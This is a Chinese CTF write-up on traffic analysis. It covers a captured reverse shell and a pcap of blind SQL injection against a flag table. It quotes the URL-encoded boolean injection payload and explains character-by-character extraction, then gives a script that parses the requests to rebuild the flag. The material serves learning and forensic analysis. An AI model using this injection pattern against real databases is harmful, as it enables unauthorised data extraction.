一堆鸟语看不懂的了,但可以知道的是第一二行那一串英文,但凡做过点逆向的人,基本都知道那是某个可执行文件的东西,既然这里反弹了shell,那么命令都应该出自前面,查看上一个流:

image-20230427170757610

很明显了,这是一个cmd.exe,版权都在Windows了,还能执行这么多熟悉的命令,怎么不会是cmd呢
把那一串base64解码一下,就得到了flag:

image-20230427170949627


讲完这些来做道编辑哦难的题:sqltest.pcapng

image-20230428135405717

一眼一片绿,一片绿里看到了一个sql查询语句,听风佬的视频里面说是个sql注入语句,这我还真不清楚,搜一下flag,很多flag字符串都在这种查询语句里面
再次仔细看一下这个sql语句,发现有个image-20230428135724372,大概是和这个有关了,毕竟有个flag表在这里

去统计http请求里瞅一眼:

image-20230428135917383

发现有一堆查询语句,另外可以知道的是>后面的数字就是查询出来的结果
这里说一下几个sql函数的作用:

ascii()
	显示第一个字符的ascii值
substr(str, 0, 1)
	从str字符串中,从第0个字符开始,取1个字符
limit 0, 1
	用来限制查询的东西,从第0行开始,往下查询1条语句,即第0行的数据

大概就是这样,总之先过滤http流看看

image-20230428141030015

像这样的,我认为这里大概是在爆破?查询每一项的第一项的开始值总是100,然后查询最后出来的结果应该就是对应flag表里面正确的结果,所以爆破字符的最后一项应该就是flag的值。

由于本人不会写脚本,所以是手脱出来的,并最后转化为字符串:

da = [102, 108, 97, 103, 123, 52, 55, 101, 100, 98, 56, 51, 48, 48, 101, 100, 53, 102, 57, 98, 50, 56, 102, 99, 53, 52, 98, 48, 100, 48, 57, 101, 99, 100, 101, 102, 55, 125]
for i in range(len(da)):
    print(chr(da[i]), end="")

最后得出flag:image-20230428141349686

这是一中比较蠢的方法哈,大家实在没办法不要学
另外,查询有这么多,为什么我就确定是这一串呢,其实很简单,flag的长度应该也不会很短,然后所有查询语句中,按顺序查询而且有不是很短的就只有最后那一串了

把风佬脚本贴出来:

import re

a = []
with open("sqltest.pcapng", "rb") as f:
    for i in f.readlines():
        if b"id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1))," in i:
            a.append(i.strip())	# 返回删除前导和尾随空格的字符串副本。如果给定了chars而不是None,则删除chars中的字符

a1 = {}
for i in a:
    b = re.search(br"%200,1\)\),%20(\d+),%201\)\)>", i).group(1).decode()
    c = re.search(br"%201\)\)>(\d+) HTTP/1.1", i).group(1).decode()
    a1[int(b)] = int(c)
print(a1)

flag = ''
for i in range(1, 39):
    flag += (chr(a1[i]))
print(flag)

就先到这里吧,本人也还在学,学也是要时间的捏,看什么时候能出第二期吧,风佬那些题还是蛮多的

### CTF竞赛中的流量分析题目解决方法 #### 使用Wireshark和Tshark进行初步数据包捕获与过滤 对于CTF竞赛中的流量分析题目,通常会涉及到网络通信协议的理解以及特定工具的应用。Wireshark是一个图形化的网络协议分析器,而tshark则是其命令行版本。两者均能用于捕获并解析各种类型的网络流量,包括但不限于HTTP、HTTPS、FTP等常见协议。 当面对USB流量分析时,可以利用这些工具来捕捉设备之间的交互过程,并通过设置合适的显示过滤器(Display Filter)缩小关注范围,例如只查看来自某个端口的数据流或者特定类型的消息[^1]。 ```bash # 使用 tshark 捕捉 USB 流量 (假设已安装 libpcap 和 usbmon 驱动) sudo tshark -i usbmon1 ``` #### 数据处理与特征提取 一旦获得了原始的流量记录文件(.pcap),下一步便是从中挖掘有价值的信息。这可能需要结合编程技能编写脚本来自动化某些重复性的任务,比如统计请求次数、识别异常模式或是重建完整的传输序列号(TCP Stream)[^2]。 Python配合Scapy库能够有效地辅助完成此类工作: ```python from scapy.all import * def analyze_pcap(file_name): packets = rdpcap(file_name) for packet in packets: if IP in packet: src_ip = packet[IP].src dst_ip = packet[IP].dst print(f"Source IP: {src_ip}, Destination IP: {dst_ip}") analyze_pcap('example.pcap') ``` #### 应用场景模拟与实践练习 为了更好地准备实际比赛环境下的挑战,在日常训练中有必要构建类似的测试案例来进行针对性演练。可以通过搭建虚拟机集群创建复杂的服务架构,故意引入漏洞或配置错误以制造真实的攻防对抗情境;也可以参与在线平台上的公开赛事积累实战经验[^3]。
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值